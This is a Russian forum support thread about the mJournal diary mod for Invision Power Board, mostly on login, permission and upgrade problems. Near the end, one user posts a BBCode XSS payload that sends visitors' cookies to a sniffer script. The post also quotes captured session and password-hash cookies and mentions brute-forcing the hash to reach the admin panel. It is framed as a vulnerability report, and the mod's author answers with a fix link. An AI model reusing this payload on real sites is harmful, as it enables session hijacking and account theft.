Журнал - Дневник

[Yamamura]

Yamamura: права на использование группами юзеров Дневников не настроены в админке форума

Да вроде всё настроил там...

Причём в ИЕ работает, а в ФФ нифига! Очистка кеша, куков и всего остального не помогает...

[PALADIN+]

Думаю всё-таки проблема с кукис. В админке смотри, там написано как их правильно заполнять.

[Yamamura]

Проверил. Работает только в ИЕ. В Опере и ФФ - просто обновление страницы, но вход не выполняется.

На другом форуме, где стоит этот же мод, я могу войти с ФФ...

 

Ещё другие пользователи с Оперы не могут войти (с ФФ у других не проверял)

 

А, ещё такой "баг" заметил, на том форуме, где я могу зайти с ФФ, адрес дневника такой http://forum.URL.ru/journal.php?, а когда я на своём форуме перехожу по такому адресу, то меня "выкидывает" на http://www.forum.URL.ru/journal.php?

Может в этом проблема?

 

Да! Проблема заключается именно в www, т.к. если в браузере набрать http://forum.url.ru/journal.php?, то всё ОК

Теперь вопрос! Как мне сделать, тобы в дневники можно было заходить без www? Можно конечно в шаблоне прописать полный адрес, но может есть другой способ?

 

Всё, исправил

Изменено 2 Декабря 2006 пользователем Yamamura

[Yamamura]

А можно тупой вопрос? Как сменить надпись mJournal на другую?

Только через редактирования HTML-фрагментов или другой способ есть?

[Master]

Где изменить?

[xRay]

А можно тупой вопрос? Как сменить надпись mJournal на другую?

Не надо этого делать. Ты чтоли мод написал? Уважай чужой труд.

[fithshist]

1. По-моему никто еще не указывал такую слабость ЖЖ , как отсутствие ФК - флуд контроля....

или его нет только у меня?

 

2. и...хотелось бы создание комюнити..это возможно, вопрос кто возьмется?

 

3. в ЖЖ не позволяет изменять изменять индивидуальные параметры скина пользователя. Правила настроены..не пойму загвозку

Изменено 6 Декабря 2006 пользователем fithshist

[Yamamura]

Где изменить?

В шапке, где Помощь, Поиск, Пользователи, Календарь.

Как изменить mJournal на, например, дневники? Кроме, как через редактирование html-фрагиентов.

Изменено 6 Декабря 2006 пользователем Yamamura

[spravochnaia]

такой, собсна, скромный вопрос: когда появится версия для 2.2.х ?) или же как его перенастроить для работы с 2.2.х, мой блог после обновления форума до 2.2.0 rc3 начал кидать белые листы:\

[Иннокентий]

Собственно уже готов переходить на 2.2 ... но?

[vzport]

Иннокентий

Я собственно уже давно перешел и глюков не вижу... все работает отлично.

 

Собственно, предлагаю сделать ветку, посвященную собственным модификациям с журналами.

Много идей и наработок, а поделиться и спросить не у кого(((

[NecrLaar]

Иннокентий

Я собственно уже давно перешел и глюков не вижу... все работает отлично.

Аналогично. Так чуть подправить пару файлов и живи себе спокойно.

[wrm]

Совет для понимающих про корректный выход из блогов.

 

Итак, выход не работает, потому что у нас нет переменной $k в УРЛе.

Что делаем. Открываем шаблоны global & blocks и добавляем к ссылке выхода:

&k={$ibforums->md5_check}

[R-thirteen]

вот такой вопрос. установил mJournal на 2.1.7, последнюю версию. Всё работает, только когда заходишь в определённый дневник - нигде нет кнопки добавить запись или чего-то подобного. ни в каком. А ещё в Settings for group: mJournal нет подписей к настройкам..

просто пустое поле, где текст должен быть и yes\no или чёт ещё, только в начале есть URL.. что делать, подскажите..

 

А права я выставил, в разделе прав дневников. типа разрешить вести дневники и тп..

[remix2]

кто сидит на 2.2.1, к вам вопрос.

Как можно сделать вдневниках нормальное окно смайлов? в 2.2.1 видимо сделали на йава скриптах, в настройках я не нашёл по скольку смайлов в столбце и можно ли вообще их в столбци загонять.

Кроме уменьшения кликабельных смайлов до нормального размера окна в голову ничего не приходит.

Если кто знает решение - постучитесь в асю - 4666684 или сюда напишите.

[kodneo]

Прочел всю ветку, ответа не нашел.

У меня пишет что парв на просмотр журнала нету. Версия форума 2.1.5.

Все ставил по инструкции, xml тоже ставил,но настроек в группе нету по журналу.

также нету панельки слева с разными настройками

переустанавливал - без толку. У меня даже название компанента нету

как быть?

[Master]

На вкладке компоненты должна появиться вкладка с журналом, где права доступа выставляются.

[kodneo]

Не появляется, потому что видимо криво установилось или несовместимость с форумом.

[Yamamura]

Такая же фигня была... Только не помню, как всё сделал.

Можно нескромный вопрос: как убрать надпись в копирайтах - "Powered by Invision Power Board(Trial) v2.1.7 © 2007 IPS, Inc."

Почему Триал?

[zanozamama]

Здравствуйте.

А не подскажите можно ли изменить как-нить настройки журналов, так чтобы при созданни журнала он был по умолчанию не закрыт от всех, о открыт при создании журнала у пользователя?

[wrm]

zanozamama, ты сам понял(а), что сказал(а)?

[Septerrianin]

У знающих людей есть наработанные методы решения двух нижеприведённых проблем?

 

1. XSS

Один юзверь наткнулся на небольшую уязвимость в дневнике (mJournal v2.0pb7 © 2003-2006 by UriSoft, Invision Power Board v2.1.5 ), решил проверить.

Оказалось вполне легко.

Вот примерно такой код понадобился чтобы получить кое какие данные.

[E*MAIL][URhL=wj`=`][/UeRL][/ExMAIL]]` style=`background:url(java script:document.images[1].src="сайт.ру/sniff/s.gif?"+document.cookie)`

тоесть при чтении дневника грузится скрипт снифера, которому передаются данные кукисов.

Написал простенький снифер, снифер поймал

member_id=13; pass_hash=e13bfa6cc94e3d7843eb0d98ac931fc3; collapseprefs=103,114,68,23; session_id=ff8ddfaafecafc4a0d3c634982deb72b; coppa=0; j_counter=1167858089; journal=1

хэш есть...но в этой версии форума он с солью, не так легко попасть в админку, но реально.

Известно что мд5 не декодировать, можно подобрать тольок методом перебора..

Хотя..уязвимость и не явная, но вполне вредоносная.

 

2. POST

Если правильно сделать запрос можно писать коментарии в любой закрытый дневник..

[urisoft]

Septerrianin

1. XSS

 

http://urisoft.ru/journal/fix_xss.txt

 

2. POST

Примеры плиз...

[wrm]

urisoft, привет!

 

Где пропадал такое долгое время?

Будут ли новые версии или какие-нить доработки?

Если совсем нет времени, может тебе стоит сделать мод платным и дорабатывать, я думаю очень много желающих нашлось бы купить?!

[M-K]

urisoft, а как мне разблокировать чей-либо журнал, если я его сам же и заблокировал?

 

IPB 1.3

 

И еще. Вышеприведенная уязвимость страшна для 1.3 или 2.0 форума?